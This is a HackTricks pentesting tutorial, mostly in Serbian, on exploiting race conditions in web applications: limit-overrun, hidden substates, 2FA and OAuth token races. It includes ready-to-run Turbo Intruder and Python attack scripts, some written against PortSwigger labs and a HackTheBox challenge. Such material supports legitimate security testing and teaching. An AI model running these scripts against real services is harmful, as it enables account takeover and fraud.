hacktricks/pentesting-web/race-condition.md

421 lines
21 KiB
Markdown

# Race Condition
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
{% hint style="warning" %}
Za sticanje dubokog razumevanja ove tehnike proverite izvorni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Unapređenje napada na Race Condition
Glavna prepreka u iskorišćavanju race condition-a je osiguranje da se više zahteva obrađuje u isto vreme, sa **vrlo malom razlikom u njihovim vremenima obrade—idealno, manje od 1ms**.
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
#### HTTP/2 Napad sa jednim paketom vs. HTTP/1.1 Sinhronizacija poslednjeg bajta
* **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje race condition-a.
* **HTTP/1.1 'Sinhronizacija poslednjeg bajta'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultani dolazak na server.
**Priprema za Sinhronizaciju poslednjeg bajta** uključuje:
1. Slanje zaglavlja i podataka tela minus poslednji bajt bez završavanja toka.
2. Pauza od 100ms nakon inicijalnog slanja.
3. Onemogućavanje TCP\_NODELAY kako bi se iskoristila Nagleova algoritam za grupisanje finalnih okvira.
4. Pingovanje za zagrevanje veze.
Sledeće slanje zadržanih okvira trebalo bi da rezultira njihovim dolaskom u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u RC napade.
### Prilagođavanje arhitekturi servera
Razumevanje arhitekture cilja je ključno. Front-end serveri mogu drugačije usmeravati zahteve, što utiče na vreme. Preventivno zagrevanje veze na strani servera, kroz beznačajne zahteve, može normalizovati vreme zahteva.
#### Rukovanje zaključavanjem zasnovanim na sesiji
Okviri poput PHP-ovog upravljača sesijama serijalizuju zahteve po sesiji, potencijalno prikrivajući ranjivosti. Korišćenje različitih tokena sesije za svaki zahtev može zaobići ovaj problem.
#### Prevazilaženje ograničenja brzine ili resursa
Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja ograničenja brzine ili resursa web servera putem poplave lažnih zahteva može olakšati napad sa jednim paketom izazivajući kašnjenje na strani servera pogodno za race condition.
## Primeri napada
* **Tubo Intruder - HTTP2 napad sa jednim paketom (1 krajnja tačka)**: Možete poslati zahtev na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti u zahtevu vrednost koju želite da brute force-ujete za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim odabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
Ako planirate da **pošaljete različite vrednosti**, možete modifikovati kod sa ovim koji koristi rečnik iz clipboard-a:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Ako web ne podržava HTTP2 (samo HTTP1.1), koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - HTTP2 napad sa jednim paketom (Više krajnjih tačaka)**: U slučaju da treba da pošaljete zahtev ka 1 krajnjoj tački, a zatim više ka drugim krajnjim tačkama da aktivirate RCE, možete promeniti `race-single-packet-attack.py` skriptu u nešto poput:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite.
* Za **limit-overrun** možete jednostavno dodati **istu zahtev 50 puta** u grupu.
* Za **connection warming**, možete **dodati** na **početku** **grupe** neke **zahteve** ka nekoj nestatičnoj delu web servera.
* Za **delaying** procesa **između** obrade **jednog zahteva i drugog** u 2 podstanja, možete **dodati dodatne zahteve između** oba zahteva.
* Za **multi-endpoint** RC možete početi slati **zahtev** koji **ide u skriveno stanje** i zatim **50 zahteva** odmah nakon njega koji **iskorišćava skriveno stanje**.
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
* **Automatizovani python skript**: Cilj ovog skripta je da promeni email korisnika dok neprocenjivo verifikuje dok verifikacioni token novog emaila ne stigne na poslednji email (to je zato što je u kodu viđeno RC gde je bilo moguće modifikovati email, ali poslati verifikaciju na stari jer je varijabla koja označava email već bila popunjena prvim).\
Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Raw BF
Pre prethodnog istraživanja, ovo su bili neki payloadi koji su se koristili i koji su jednostavno pokušavali da šalju pakete što je brže moguće kako bi izazvali RC.
* **Repeater:** Proverite primere iz prethodne sekcije.
* **Intruder**: Pošaljite **request** na **Intruder**, postavite **broj niti** na **30** unutar **Options menija**, i izaberite kao payload **Null payloads** i generišite **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC Metodologija**
### Limit-overrun / TOCTOU
Ovo je najosnovnija vrsta race condition gde **ranjivosti** koje se **pojavljuju** na mestima koja **ograničavaju broj puta na koji možete izvršiti neku radnju**. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovoj grešci**](https://hackerone.com/reports/759247)**.**
Postoji mnogo varijacija ove vrste napada, uključujući:
* Otkup poklon kartice više puta
* Ocenjivanje proizvoda više puta
* Podizanje ili prebacivanje gotovine u iznosu većem od stanja na računu
* Ponovno korišćenje jednog CAPTCHA rešenja
* Zaobilaženje ograničenja brzine protiv brute-force napada
### **Skriveni podstanja**
Eksploatacija složenih race condition često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjem**. Evo kako pristupiti ovome:
1. **Identifikujte potencijalna skrivena podstanja**
* Počnite tako što ćete odrediti krajnje tačke koje modifikuju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
* **Skladištenje**: Preferirajte krajnje tačke koje manipulišu podacima koji su trajni na serveru u odnosu na one koje obrađuju podatke na klijentskoj strani.
* **Akcija**: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti uslove za eksploataciju u poređenju sa onima koje dodaju nove podatke.
* **Ključ**: Uspešni napadi obično uključuju operacije koje su ključne na istom identifikatoru, npr. korisničko ime ili token za resetovanje.
2. **Izvršite inicijalno ispitivanje**
* Testirajte identifikovane krajnje tačke sa napadima race condition, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
3. **Demonstrirajte ranjivost**
* Sužavajte napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga.
### Napadi osetljivi na vreme
Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka moglo bi omogućiti identične tokene za simultane zahteve.
**Za eksploataciju:**
* Koristite precizan tajming, poput napada jednim paketom, da izvršite simultane zahteve za resetovanje lozinke. Identični tokeni ukazuju na ranjivost.
**Primer:**
* Zatražite dva tokena za resetovanje lozinke u isto vreme i uporedite ih. Podudaranje tokena sugeriše grešku u generisanju tokena.
**Proverite ovo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **da biste probali ovo.**
## Studije slučaja skrivenih podstanja
### Plaćanje i dodavanje stavke
Proverite ovo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite**.
### Potvrda drugih emailova
Ideja je da **verifikujete email adresu i promenite je na drugu u isto vreme** da biste saznali da li platforma verifikuje novu promenu.
### Promena emaila na 2 email adrese zasnovane na kolačićima
Prema [**ovoj studiji**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na preuzimanje na ovaj način jer može **poslati** **token za verifikaciju emaila jedne email adrese na drugu email adresu**.
**Proverite ovo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **da biste probali ovo.**
### Skrivena stanja baze podataka / Zaobilaženje potvrde
Ako se koriste **2 različita pisanja** za **dodavanje** **informacija** unutar **baze podataka**, postoji mali deo vremena kada je **samo prvi podatak napisan** unutar baze podataka. Na primer, kada se kreira korisnik, **korisničko ime** i **lozinka** mogu biti **napisani** i **onda se piše token** za potvrdu novokreiranog naloga. To znači da za kratak period **token za potvrdu naloga je null**.
Stoga **registracija naloga i slanje nekoliko zahteva sa praznim tokenom** (`token=` ili `token[]=` ili bilo koja druga varijacija) za trenutnu potvrdu naloga mogla bi omogućiti **potvrdu naloga** gde ne kontrolišete email.
**Proverite ovo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **da biste probali ovo.**
### Zaobilaženje 2FA
Sledeći pseudo-kod je ranjiv na race condition jer u veoma kratkom vremenu **2FA nije primenjen** dok se sesija kreira:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 večna postojanost
Postoji nekoliko [**OAUth provajdera**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ove usluge će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, **klijent** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAUth provajdera**.\
Dakle, do sada je to samo uobičajeni prijavljivanje sa google/linkedin/github... gde se pojavljuje stranica koja kaže: "_Aplikacija \<InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
#### Race Condition u `authorization_code`
**Problem** se pojavljuje kada **prihvatite** i automatski šalje **`authorization_code`** zloćudnoj aplikaciji. Tada, ova **aplikacija zloupotrebljava Race Condition u OAUth servisu da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U suštini, zloupotrebiće činjenicu da ste prihvatili aplikaciju da pristupi vašim podacima da **kreira nekoliko naloga**. Tada, ako **prestaneš da dozvoljavaš aplikaciji da pristupi tvojim podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti važeći**.
#### Race Condition u `Refresh Token`
Kada ste **dobili važeći RT**, mogli biste pokušati da **zloupotrebite to da generišete nekoliko AT/RT** i **čak i ako korisnik otkaže dozvole** za zloćudnu aplikaciju da pristupi njegovim podacima, **several RTs će i dalje biti važeći.**
## **RC u WebSockets**
U [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) možete pronaći PoC u Javi za slanje websocket poruka u **paraleli** da zloupotrebi **Race Conditions takođe u Web Sockets**.
## Reference
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}